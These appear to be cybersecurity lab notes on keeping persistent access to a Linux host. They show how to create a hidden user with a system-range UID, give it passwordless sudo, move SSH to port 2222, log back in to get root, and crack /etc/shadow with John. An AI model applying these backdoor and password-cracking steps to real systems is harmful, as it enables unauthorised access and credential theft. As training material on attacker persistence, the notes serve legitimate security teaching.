## **Shadow People**

- Creating a secret user named sysd:
  - o sudo useradd sysd
- Creating a password for secret user:
  - o sudo passwd sysd
- Giving secret user a system UID < 1000:
  - o sudo usermod -u 500 sysd
- Giving secret user the same GID:
  - o sudo groupmod -g 500 sysd
- Giving secret user full sudo access without the need for a password:
  - o sudo visudo
    - i. Note: In terms of secure system design, this IS NOT recommended.
- Test that sudo access works without your password:

Sudo -l

## **Smooth Sailing**

• Editing the sshd config file:

sudo nano /etc/ssh/sshd config

## **Testing Configuration Update**

- Restart the SSH service:
  - systemctl restart ssh
- Exit the root account:
  - exit
- SSH to the target machine using your sysd account and port 2222:
  - o ssh sysd@192.168.6.105 -p 2222
- Use sudo to switch to the root user:
  - o sudo su

## **Cracking Passwords**

- SSH back to the system using your sysd account and port 2222:
  - o ssh sysd@192.168.6.105 -p 2222
- Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
  - o sudo su